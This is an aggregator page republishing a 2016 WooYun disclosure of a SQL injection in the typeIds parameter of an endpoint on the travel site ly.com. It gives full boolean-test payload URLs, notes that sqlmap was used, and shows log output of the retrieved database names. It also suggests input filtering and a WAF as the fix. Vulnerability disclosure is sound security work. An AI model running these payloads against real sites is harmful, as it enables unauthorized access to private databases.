记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华
«2016中国网络安全年会在四川成都召开...
穿森马就测森马（从java反序列化到内网）... »

同程旅游网主站的一处SQL注入

2016-05-29 03:00

http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=104--%20&iid=0.16461771167814732 有数据

QQ截图20160413221558.jpg



http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=105--%20&iid=0.16461771167814732 没有数据

QQ截图20160413221544.jpg



放入SQLmap中注入

QQ截图20160413220844.jpg

漏洞证明：

部分测试的数据

code 区域
[22:09:27] [INFO] retrieved: TcShortTourResource

[22:10:52] [INFO] retrieved: master

[22:11:11] [INFO] retrieved: tempdb

[22:11:32] [INFO] retrieved: model

[22:11:54] [INFO] retrieved: msdb

[22:12:19] [INFO] retrieved: TcShortTourDCResource

[22:13:28] [INFO] retrieved: TcShortTourLog

[22:14:21] [INFO] retrieved: TcShortTourOrder

[22:15:19] [INFO] retrieved: TcShortTourResource

[22:16:34] [INFO] retrieved: TcShortTourShop

[22:17:35] [INFO] retrieved: TcShortTourStatement

...



QQ截图20160413224106.jpg

修复方案：

typeIds参数进行过滤下，加入WAF


知识来源: www.wooyun.org/bugs/wooyun-2016-0196030

阅读:138996 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“同程旅游网主站的一处SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

❤永久免费、持续更新、精选优质黑客技术文章的Hackdig，帮你成为掌握黑客技术的英雄❤

↓赞助商 🙇🧎

随机推荐 🤖

标签云 ☁